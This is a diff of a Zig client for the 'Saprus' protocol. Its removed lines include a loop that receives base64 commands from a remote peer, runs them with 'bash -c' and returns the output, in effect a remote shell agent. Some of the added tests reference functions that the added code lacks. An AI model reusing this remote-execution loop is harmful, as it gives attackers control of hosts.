-        alloc.destroy(zc);
-    }
-}
-
-export fn zaprus_client_send_relay(
-    client: ?*ZaprusClient,
-    payload: [*c]const u8,
-    payload_len: usize,
-    dest: [*c]const u8,
-) c_int {
-    const c: ?*zaprus.Client = @ptrCast(@alignCast(client));
-    const zc = c orelse return 1;
-
-    zc.sendRelay(io, payload[0..payload_len], dest[0..4].*) catch return 1;
-    return 0;
-}
-
-export fn zaprus_connect(
-    client: ?*ZaprusClient,
-    payload: [*c]const u8,
-    payload_len: usize,
-) ?*ZaprusConnection {
-    const c: ?*zaprus.Client = @ptrCast(@alignCast(client));
-    const zc = c orelse return null;
-
-    const connection = alloc.create(zaprus.Connection) catch return null;
-    connection.* = zc.connect(io, payload[0..payload_len]) catch {
-        alloc.destroy(connection);
-        return null;
-    };
-    return @ptrCast(connection);
-}
-
-export fn zaprus_deinit_connection(connection: ?*ZaprusConnection) void {
-    const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection));
-    if (c) |zc| {
-        alloc.destroy(zc);
-    }
-}
-
-export fn zaprus_connection_next(
-    connection: ?*ZaprusConnection,
-    out: [*c]u8,
-    capacity: usize,
-    out_len: *usize,
-) c_int {
-    const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection));
-    const zc = c orelse return 1;
-
-    const result = zc.next(io, out[0..capacity]) catch return 1;
-    out_len.* = result.len;
-    return 0;
-}
-
-export fn zaprus_connection_send(
-    connection: ?*ZaprusConnection,
-    payload: [*c]const u8,
-    payload_len: usize,
-) c_int {
-    const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection));
-    const zc = c orelse return 1;
-
-    zc.send(io, payload[0..payload_len]) catch return 1;
-    return 0;
-}

src/main.zig

@@ -1,230 +1,72 @@
 const is_debug = builtin.mode == .Debug;
 
-const help =
+/// This creates a debug allocator that can only be referenced in debug mode.
+/// You should check for is_debug around every reference to dba.
+var dba: DebugAllocator =
+    if (is_debug)
+        DebugAllocator.init
+    else
+        @compileError("Should not use debug allocator in release mode");
+
+pub fn main() !void {
+    defer if (is_debug) {
+        _ = dba.deinit();
+    };
+
+    const gpa = if (is_debug) dba.allocator() else std.heap.smp_allocator;
+
+    // CLI parsing adapted from the example here
+    // https://github.com/Hejsil/zig-clap/blob/e47028deaefc2fb396d3d9e9f7bd776ae0b2a43a/README.md#examples
+
+    // First we specify what parameters our program can take.
+    // We can use `parseParamsComptime` to parse a string into an array of `Param(Help)`.
+    const params = comptime clap.parseParamsComptime(
         \\-h, --help           Display this help and exit.
         \\-r, --relay <str>    A relay message to send.
         \\-d, --dest <str>     An IPv4 or <= 4 ASCII byte string.
         \\-c, --connect <str>  A connection message to send.
         \\
-;
+    );
 
-const Option = enum { help, relay, dest, connect };
-const to_option: StaticStringMap(Option) = .initComptime(.{
-    .{ "-h", .help },
-    .{ "--help", .help },
-    .{ "-r", .relay },
-    .{ "--relay", .relay },
-    .{ "-d", .dest },
-    .{ "--dest", .dest },
-    .{ "-c", .connect },
-    .{ "--connect", .connect },
-});
+    // Initialize our diagnostics, which can be used for reporting useful errors.
+    // This is optional. You can also pass `.{}` to `clap.parse` if you don't
+    // care about the extra information `Diagnostics` provides.
+    var diag = clap.Diagnostic{};
+    var res = clap.parse(clap.Help, &params, clap.parsers.default, .{
+        .diagnostic = &diag,
+        .allocator = gpa,
+    }) catch |err| {
+        // Report useful error and exit.
+        diag.report(std.io.getStdErr().writer(), err) catch {};
+        return err;
+    };
+    defer res.deinit();
 
-pub fn main(init: std.process.Init) !void {
-    // CLI parsing adapted from the example here
-    // https://codeberg.org/ziglang/zig/pulls/30644
+    try SaprusClient.init();
+    defer SaprusClient.deinit();
 
-    const args = try init.minimal.args.toSlice(init.arena.allocator());
+    if (res.args.help != 0) {
+        return clap.help(std.io.getStdErr().writer(), clap.Help, &params, .{});
+    }
 
-    var flags: struct {
-        relay: ?[]const u8 = null,
-        dest: ?[]const u8 = null,
-        connect: ?[]const u8 = null,
-    } = .{};
-
-    if (args.len == 1) {
-        flags.connect = "";
-    } else {
-        var i: usize = 1;
-        while (i < args.len) : (i += 1) {
-            if (to_option.get(args[i])) |opt| {
-                switch (opt) {
-                    .help => {
-                        std.debug.print("{s}", .{help});
+    if (res.args.relay) |r| {
+        const dest = parseDest(res.args.dest);
+        try SaprusClient.sendRelay(
+            if (r.len > 0) r else "Hello darkness my old friend",
+            dest,
+            gpa,
+        );
+        // std.debug.print("Sent: {s}\n", .{r});
         return;
-                    },
-                    .relay => {
-                        i += 1;
-                        if (i < args.len) {
-                            flags.relay = args[i];
-                        } else {
-                            flags.relay = "";
-                        }
-                    },
-                    .dest => {
-                        i += 1;
-                        if (i < args.len) {
-                            flags.dest = args[i];
-                        } else {
-                            std.debug.print("-d/--dest requires a string\n", .{});
-                            return error.InvalidArguments;
-                        }
-                    },
-                    .connect => {
-                        i += 1;
-                        if (i < args.len) {
-                            flags.connect = args[i];
-                        } else {
-                            flags.connect = "";
-                        }
-                    },
-                }
-            } else {
-                std.debug.print("Unknown argument: {s}\n", .{args[i]});
-                return error.InvalidArguments;
-            }
-        }
-    }
-
-    if (flags.connect != null and (flags.relay != null or flags.dest != null)) {
-        std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{});
-        return error.InvalidArguments;
-    }
-
-    var client: SaprusClient = undefined;
-
-    if (flags.relay != null) {
-        client = try .init();
-        defer client.deinit();
-        var chunk_writer_buf: [2048]u8 = undefined;
-        var chunk_writer: Writer = .fixed(&chunk_writer_buf);
-        if (flags.relay.?.len > 0) {
-            var output_iter = std.mem.window(u8, flags.relay.?, SaprusClient.max_payload_len, SaprusClient.max_payload_len);
-            while (output_iter.next()) |chunk| {
-                chunk_writer.end = 0;
-                try chunk_writer.print("{b64}", .{chunk});
-                try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
-                try init.io.sleep(.fromMilliseconds(40), .boot);
-            }
-        } else {
-            var stdin_file: std.Io.File = .stdin();
-            var stdin_file_reader = stdin_file.reader(init.io, &.{});
-            var stdin_reader = &stdin_file_reader.interface;
-            var lim_buf: [SaprusClient.max_payload_len]u8 = undefined;
-            var limited = stdin_reader.limited(.limited(10 * lim_buf.len), &lim_buf);
-            var stdin = &limited.interface;
-
-            while (stdin.fillMore()) {
-                // Sometimes fillMore will return 0 bytes.
-                // Skip these
-                if (stdin.seek == stdin.end) continue;
-
-                chunk_writer.end = 0;
-                try chunk_writer.print("{b64}", .{stdin.buffered()});
-                try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
-                try init.io.sleep(.fromMilliseconds(40), .boot);
-                try stdin.discardAll(stdin.end);
-            } else |err| switch (err) {
-                error.EndOfStream => {
-                    log.debug("end of stdin", .{});
-                },
-                else => |e| return e,
-            }
-        }
+    } else if (res.args.connect) |c| {
+        _ = SaprusClient.connect(if (c.len > 0) c else "Hello darkness my old friend", gpa) catch |err| switch (err) {
+            error.WouldBlock => null,
+            else => return err,
+        };
         return;
     }
 
-    var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined;
-    var w: Writer = .fixed(&init_con_buf);
-    try w.print("{b64}", .{flags.connect.?});
-
-    if (flags.connect != null) {
-        reconnect: while (true) {
-            client = try .init();
-            defer client.deinit();
-            log.debug("Starting connection", .{});
-
-            try client.socket.setTimeout(if (is_debug) 3 else 25, 0);
-            var connection = client.connect(init.io, w.buffered()) catch {
-                log.debug("Connection timed out", .{});
-                continue;
-            };
-
-            log.debug("Connection started", .{});
-
-            next_message: while (true) {
-                var res_buf: [2048]u8 = undefined;
-                try client.socket.setTimeout(if (is_debug) 60 else 600, 0);
-                const next = connection.next(init.io, &res_buf) catch {
-                    continue :reconnect;
-                };
-
-                const b64d = std.base64.standard.Decoder;
-                var connection_payload_buf: [2048]u8 = undefined;
-                const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
-                b64d.decode(connection_payload, next) catch {
-                    log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload});
-                    continue;
-                };
-
-                var child = std.process.spawn(init.io, .{
-                    .argv = &.{ "bash", "-c", connection_payload },
-                    .stdout = .pipe,
-                    .stderr = .ignore,
-                    .stdin = .ignore,
-                }) catch continue;
-
-                var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined;
-                var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf);
-
-                var is_killed: std.atomic.Value(bool) = .init(false);
-
-                var kill_task = try init.io.concurrent(killProcessAfter, .{ init.io, &child, .fromSeconds(3), &is_killed });
-                defer _ = kill_task.cancel(init.io) catch {};
-
-                var cmd_output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
-                var cmd_output: Writer = .fixed(&cmd_output_buf);
-
-                // Maximum of 10 messages of output per command
-                for (0..10) |_| {
-                    cmd_output.end = 0;
-
-                    child_output_reader.interface.fill(child_output_reader.interface.buffer.len) catch |err| switch (err) {
-                        error.ReadFailed => continue :next_message, // TODO: check if there is a better way to handle this
-                        error.EndOfStream => {
-                            cmd_output.print("{b64}", .{child_output_reader.interface.buffered()}) catch unreachable;
-                            if (cmd_output.end > 0) {
-                                connection.send(init.io, cmd_output.buffered()) catch |e| {
-                                    log.debug("Failed to send connection chunk: {t}", .{e});
-                                    continue :next_message;
-                                };
-                            }
-                            break;
-                        },
-                    };
-                    cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable;
-                    connection.send(init.io, cmd_output.buffered()) catch |err| {
-                        log.debug("Failed to send connection chunk: {t}", .{err});
-                        continue :next_message;
-                    };
-                    try init.io.sleep(.fromMilliseconds(40), .boot);
-                } else {
-                    kill_task.cancel(init.io) catch {};
-                    killProcessAfter(init.io, &child, .zero, &is_killed) catch |err| {
-                        log.debug("Failed to kill process??? {t}", .{err});
-                        continue :next_message;
-                    };
-                }
-
-                if (!is_killed.load(.monotonic)) {
-                    _ = child.wait(init.io) catch |err| {
-                        log.debug("Failed to wait for child: {t}", .{err});
-                    };
-                }
-            }
-        }
-    }
-
-    unreachable;
-}
-
-fn killProcessAfter(io: std.Io, proc: *std.process.Child, duration: std.Io.Duration, is_killed: *std.atomic.Value(bool)) !void {
-    io.sleep(duration, .boot) catch |err| switch (err) {
-        error.Canceled => return,
-        else => |e| return e,
-    };
-    is_killed.store(true, .monotonic);
-    proc.kill(io);
+    return clap.help(std.io.getStdErr().writer(), clap.Help, &params, .{});
 }
 
 fn parseDest(in: ?[]const u8) [4]u8 {
@@ -235,20 +77,19 @@ fn parseDest(in: ?[]const u8) [4]u8 {
             return res;
         }
 
-        const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
-        return addr.bytes;
+        const addr = std.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
+        return @bitCast(addr.sa.addr);
     }
-    return "disc".*;
+    return "zap\x00".*;
 }
 
 const builtin = @import("builtin");
 const std = @import("std");
-const log = std.log;
+const DebugAllocator = std.heap.DebugAllocator(.{});
 const ArrayList = std.ArrayList;
-const StaticStringMap = std.StaticStringMap;
 
 const zaprus = @import("zaprus");
 const SaprusClient = zaprus.Client;
 const SaprusMessage = zaprus.Message;
 
-const Writer = std.Io.Writer;
+const clap = @import("clap");

src/message.zig

@@ -1,164 +1,15 @@
-pub const MessageTypeError = error{
-    NotImplementedSaprusType,
-    UnknownSaprusType,
-};
-pub const MessageParseError = MessageTypeError || error{
-    InvalidMessage,
-};
-
-const message = @This();
-
-pub const Message = union(enum(u16)) {
-    relay: Message.Relay = 0x003C,
-    connection: Message.Connection = 0x00E9,
+/// Type tag for Message union.
+/// This is the first value in the actual packet sent over the network.
+pub const PacketType = enum(u16) {
+    relay = 0x003C,
+    file_transfer = 0x8888,
+    connection = 0x00E9,
     _,
-
-    pub const Relay = message.Relay;
-    pub const Connection = message.Connection;
-
-    pub fn toBytes(self: message.Message, buf: []u8) []u8 {
-        return switch (self) {
-            inline .relay, .connection => |m| m.toBytes(buf),
-            else => unreachable,
-        };
-    }
-
-    pub const parse = message.parse;
 };
 
-pub const relay_dest_len = 4;
-
-pub fn parse(bytes: []const u8) MessageParseError!Message {
-    var in: Reader = .fixed(bytes);
-    const @"type" = in.takeEnum(std.meta.Tag(Message), .big) catch |err| switch (err) {
-        error.InvalidEnumTag => return error.UnknownSaprusType,
-        else => return error.InvalidMessage,
-    };
-    const checksum = in.takeArray(2) catch return error.InvalidMessage;
-    switch (@"type") {
-        .relay => {
-            const dest: Relay.Dest = .fromBytes(
-                in.takeArray(relay_dest_len) catch return error.InvalidMessage,
-            );
-            const payload = in.buffered();
-            return .{
-                .relay = .{
-                    .dest = dest,
-                    .checksum = checksum.*,
-                    .payload = payload,
-                },
-            };
-        },
-        .connection => {
-            const src = in.takeInt(u16, .big) catch return error.InvalidMessage;
-            const dest = in.takeInt(u16, .big) catch return error.InvalidMessage;
-            const seq = in.takeInt(u32, .big) catch return error.InvalidMessage;
-            const id = in.takeInt(u32, .big) catch return error.InvalidMessage;
-            const reserved = in.takeByte() catch return error.InvalidMessage;
-            const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage;
-            const payload = in.buffered();
-            return .{
-                .connection = .{
-                    .src = src,
-                    .dest = dest,
-                    .seq = seq,
-                    .id = id,
-                    .reserved = reserved,
-                    .options = options,
-                    .payload = payload,
-                },
-            };
-        },
-        else => return error.NotImplementedSaprusType,
-    }
-}
-
-test parse {
-    _ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 });
-
-    {
-        const expected: Message = .{
-            .connection = .{
-                .src = 12416,
-                .dest = 61680,
-                .seq = 0,
-                .id = 0,
-                .reserved = 0,
-                .options = @bitCast(@as(u8, 100)),
-                .payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 },
-            },
-        };
-        const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 });
-
-        try std.testing.expectEqualDeep(expected, actual);
-    }
-}
-
-const Relay = struct {
-    dest: Dest,
-    checksum: [2]u8 = undefined,
-    payload: []const u8,
-
-    pub const Dest = struct {
-        bytes: [relay_dest_len]u8,
-
-        /// Asserts bytes is less than or equal to 4 bytes
-        pub fn fromBytes(bytes: []const u8) Dest {
-            var buf: [4]u8 = @splat(0);
-            std.debug.assert(bytes.len <= buf.len);
-            @memcpy(buf[0..bytes.len], bytes);
-            return .{ .bytes = buf };
-        }
-    };
-
-    pub fn init(dest: Dest, payload: []const u8) Relay {
-        return .{ .dest = dest, .payload = payload };
-    }
-
-    /// Asserts that buf is large enough to fit the relay message.
-    pub fn toBytes(self: Relay, buf: []u8) []u8 {
-        var out: Writer = .fixed(buf);
-        out.writeInt(u16, @intFromEnum(Message.relay), .big) catch unreachable;
-        out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum
-        out.writeAll(&self.dest.bytes) catch unreachable;
-        out.writeAll(self.payload) catch unreachable;
-        return out.buffered();
-    }
-
-    test toBytes {
-        var buf: [1024]u8 = undefined;
-        const relay: Relay = .init(
-            .fromBytes(&.{ 172, 18, 1, 30 }),
-            // zig fmt: off
-            &[_]u8{
-                0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65,
-                0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64
-            },
-            // zig fmt: on
-        );
-        // zig fmt: off
-        var expected = [_]u8{
-            0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72,
-            0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65,
-            0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64
-        };
-        // zig fmt: on
-        try expectEqualMessageBuffers(&expected, relay.toBytes(&buf));
-    }
-};
-
-const Connection = struct {
-    src: u16,
-    dest: u16,
-    seq: u32,
-    id: u32,
-    reserved: u8 = undefined,
-    options: Options = undefined,
-    payload: []const u8,
-
-    /// Reserved option values.
-    /// Currently unused.
-    pub const Options = packed struct(u8) {
+/// Reserved option values.
+/// Currently unused.
+pub const ConnectionOptions = packed struct(u8) {
     opt1: bool = false,
     opt2: bool = false,
     opt3: bool = false,
@@ -167,44 +18,236 @@ const Connection = struct {
     opt6: bool = false,
     opt7: bool = false,
     opt8: bool = false,
+};
+
+pub const MessageTypeError = error{
+    NotImplementedSaprusType,
+    UnknownSaprusType,
+};
+pub const MessageParseError = MessageTypeError || error{
+    InvalidMessage,
+};
+
+// ZERO COPY STUFF
+// &payload could be a void value that is treated as a pointer to a [*]u8
+/// All Saprus messages
+pub const Message = packed struct {
+    const Relay = packed struct {
+        dest: @Vector(4, u8),
+        payload: void,
+
+        pub fn getPayload(self: *align(1) Relay) []u8 {
+            const len: *u16 = @ptrFromInt(@intFromPtr(self) - @sizeOf(u16));
+            return @as([*]u8, @ptrCast(&self.payload))[0 .. len.* - @sizeOf(Relay)];
+        }
+    };
+    const Connection = packed struct {
+        src_port: u16, // random number > 1024
+        dest_port: u16, // random number > 1024
+        seq_num: u32 = 0,
+        msg_id: u32 = 0,
+        reserved: u8 = 0,
+        options: ConnectionOptions = .{},
+        payload: void,
+
+        pub fn getPayload(self: *align(1) Connection) []u8 {
+            const len: *u16 = @ptrFromInt(@intFromPtr(self) - @sizeOf(u16));
+            return @as([*]u8, @ptrCast(&self.payload))[0 .. len.* - @sizeOf(Connection)];
+        }
+
+        fn nativeFromNetworkEndian(self: *align(1) Connection) void {
+            self.src_port = bigToNative(@TypeOf(self.src_port), self.src_port);
+            self.dest_port = bigToNative(@TypeOf(self.dest_port), self.dest_port);
+            self.seq_num = bigToNative(@TypeOf(self.seq_num), self.seq_num);
+            self.msg_id = bigToNative(@TypeOf(self.msg_id), self.msg_id);
+        }
+
+        fn networkFromNativeEndian(self: *align(1) Connection) void {
+            self.src_port = nativeToBig(@TypeOf(self.src_port), self.src_port);
+            self.dest_port = nativeToBig(@TypeOf(self.dest_port), self.dest_port);
+            self.seq_num = nativeToBig(@TypeOf(self.seq_num), self.seq_num);
+            self.msg_id = nativeToBig(@TypeOf(self.msg_id), self.msg_id);
+        }
     };
 
-    /// Asserts that buf is large enough to fit the connection message.
-    pub fn toBytes(self: Connection, buf: []u8) []u8 {
-        var out: Writer = .fixed(buf);
-        out.writeInt(u16, @intFromEnum(Message.connection), .big) catch unreachable;
-        out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread.
-        out.writeInt(u16, self.src, .big) catch unreachable;
-        out.writeInt(u16, self.dest, .big) catch unreachable;
-        out.writeInt(u32, self.seq, .big) catch unreachable;
-        out.writeInt(u32, self.id, .big) catch unreachable;
-        out.writeByte(self.reserved) catch unreachable;
-        out.writeStruct(self.options, .big) catch unreachable;
-        out.writeAll(self.payload) catch unreachable;
-        return out.buffered();
+    const Self = @This();
+    const SelfBytes = []align(@alignOf(Self)) u8;
+
+    type: PacketType,
+    length: u16,
+    bytes: void = {},
+
+    /// Takes a byte slice, and returns a Message struct backed by the slice.
+    /// This properly initializes the top level headers within the slice.
+    pub fn init(@"type": PacketType, bytes: []align(@alignOf(Self)) u8) *Self {
+        std.debug.assert(bytes.len >= @sizeOf(Self));
+        const res: *Self = @ptrCast(bytes.ptr);
+        res.type = @"type";
+        res.length = @intCast(bytes.len - @sizeOf(Self));
+        return res;
+    }
+
+    pub fn lengthForPayloadLength(comptime @"type": PacketType, payload_len: usize) MessageTypeError!u16 {
+        std.debug.assert(payload_len < std.math.maxInt(u16));
+        const header_size = @sizeOf(switch (@"type") {
+            .relay => Relay,
+            .connection => Connection,
+            .file_transfer => return MessageTypeError.NotImplementedSaprusType,
+            else => return MessageTypeError.UnknownSaprusType,
+        });
+        return @intCast(payload_len + @sizeOf(Self) + header_size);
+    }
+
+    fn getRelay(self: *Self) *align(1) Relay {
+        return std.mem.bytesAsValue(Relay, &self.bytes);
+    }
+    fn getConnection(self: *Self) *align(1) Connection {
+        return std.mem.bytesAsValue(Connection, &self.bytes);
+    }
+
+    pub fn getSaprusTypePayload(self: *Self) MessageTypeError!(union(PacketType) {
+        relay: *align(1) Relay,
+        file_transfer: void,
+        connection: *align(1) Connection,
+    }) {
+        return switch (self.type) {
+            .relay => .{ .relay = self.getRelay() },
+            .connection => .{ .connection = self.getConnection() },
+            .file_transfer => MessageTypeError.NotImplementedSaprusType,
+            else => MessageTypeError.UnknownSaprusType,
+        };
+    }
+
+    pub fn nativeFromNetworkEndian(self: *Self) MessageTypeError!void {
+        self.type = @enumFromInt(bigToNative(
+            @typeInfo(@TypeOf(self.type)).@"enum".tag_type,
+            @intFromEnum(self.type),
+        ));
+        self.length = bigToNative(@TypeOf(self.length), self.length);
+        errdefer {
+            // If the payload specific headers fail, revert the top level header values
+            self.type = @enumFromInt(nativeToBig(
+                @typeInfo(@TypeOf(self.type)).@"enum".tag_type,
+                @intFromEnum(self.type),
+            ));
+            self.length = nativeToBig(@TypeOf(self.length), self.length);
+        }
+        switch (try self.getSaprusTypePayload()) {
+            .relay => {},
+            .connection => |*con| con.*.nativeFromNetworkEndian(),
+            // We know other values are unreachable,
+            // because they would have returned an error from the switch condition.
+            else => unreachable,
+        }
+    }
+
+    pub fn networkFromNativeEndian(self: *Self) MessageTypeError!void {
+        try switch (try self.getSaprusTypePayload()) {
+            .relay => {},
+            .connection => |*con| con.*.networkFromNativeEndian(),
+            .file_transfer => MessageTypeError.NotImplementedSaprusType,
+            else => MessageTypeError.UnknownSaprusType,
+        };
+        self.type = @enumFromInt(nativeToBig(
+            @typeInfo(@TypeOf(self.type)).@"enum".tag_type,
+            @intFromEnum(self.type),
+        ));
+        self.length = nativeToBig(@TypeOf(self.length), self.length);
+    }
+
+    /// Deprecated.
+    /// If I need the bytes, I should just pass around the slice that is backing this to begin with.
+    pub fn asBytes(self: *Self) SelfBytes {
+        const size = @sizeOf(Self) + self.length;
+        return @as([*]align(@alignOf(Self)) u8, @ptrCast(self))[0..size];
     }
 };
 
-test "Round trip" {
-    {
-        const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 };
-        const msg = (try parse(&expected)).connection;
-        var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result.
-        const res = msg.toBytes(&res_buf);
-        try expectEqualMessageBuffers(&expected, res);
-    }
-}
+test "testing variable length zero copy struct" {
+    const gpa = std.testing.allocator;
+    const payload = "Hello darkness my old friend";
 
-// Skip checking the length / checksum, because that is undefined.
-fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void {
-    try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]);
-    try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]);
+    // Create a view of the byte slice as a Message
+    const msg: *Message = try .init(gpa, .relay, payload.len);
+    defer msg.deinit(gpa);
+
+    {
+        // Set the message values
+        {
+            // These are both set by the init call.
+            // msg.type = .relay;
+            // msg.length = payload_len;
+        }
+        const relay = (try msg.getSaprusTypePayload()).relay;
+        relay.dest = .{ 1, 2, 3, 4 };
+        @memcpy(relay.getPayload(), payload);
+    }
+
+    {
+        const bytes = msg.asBytes();
+
+        // Print the message as hex using the network byte order
+        try msg.networkFromNativeEndian();
+        // We know the error from nativeFromNetworkEndian is unreachable because
+        // it would have returned an error from networkFromNativeEndian.
+        defer msg.nativeFromNetworkEndian() catch unreachable;
+        std.debug.print("network bytes: {x}\n", .{bytes});
+        std.debug.print("bytes len: {d}\n", .{bytes.len});
+    }
+
+    if (false) {
+        // Illegal behavior
+        std.debug.print("{any}\n", .{(try msg.getSaprusTypePayload()).connection});
+    }
+
+    try std.testing.expectEqualDeep(msg, try Message.bytesAsValue(msg.asBytes()));
 }
 
 const std = @import("std");
 const Allocator = std.mem.Allocator;
-const Writer = std.Io.Writer;
-const Reader = std.Io.Reader;
+
+const asBytes = std.mem.asBytes;
+const nativeToBig = std.mem.nativeToBig;
+const bigToNative = std.mem.bigToNative;
+
+test "Round trip Relay toBytes and fromBytes" {
+    const gpa = std.testing.allocator;
+    const msg = Message{
+        .relay = .{
+            .header = .{ .dest = .{ 255, 255, 255, 255 } },
+            .payload = "Hello darkness my old friend",
+        },
+    };
+
+    const to_bytes = try msg.toBytes(gpa);
+    defer gpa.free(to_bytes);
+
+    const from_bytes = try Message.fromBytes(to_bytes, gpa);
+    defer from_bytes.deinit(gpa);
+
+    try std.testing.expectEqualDeep(msg, from_bytes);
+}
+
+test "Round trip Connection toBytes and fromBytes" {
+    const gpa = std.testing.allocator;
+    const msg = Message{
+        .connection = .{
+            .header = .{
+                .src_port = 0,
+                .dest_port = 0,
+            },
+            .payload = "Hello darkness my old friend",
+        },
+    };
+
+    const to_bytes = try msg.toBytes(gpa);
+    defer gpa.free(to_bytes);
+
+    const from_bytes = try Message.fromBytes(to_bytes, gpa);
+    defer from_bytes.deinit(gpa);
+
+    try std.testing.expectEqualDeep(msg, from_bytes);
+}
 
 test {
     std.testing.refAllDeclsRecursive(@This());

src/root.zig

@@ -1,13 +1,4 @@
 pub const Client = @import("Client.zig");
 pub const Connection = @import("Connection.zig");
 
-const msg = @import("message.zig");
-
-pub const PacketType = msg.PacketType;
-pub const MessageTypeError = msg.MessageTypeError;
-pub const MessageParseError = msg.MessageParseError;
-pub const Message = msg.Message;
-
-test {
-    @import("std").testing.refAllDecls(@This());
-}
+pub usingnamespace @import("message.zig");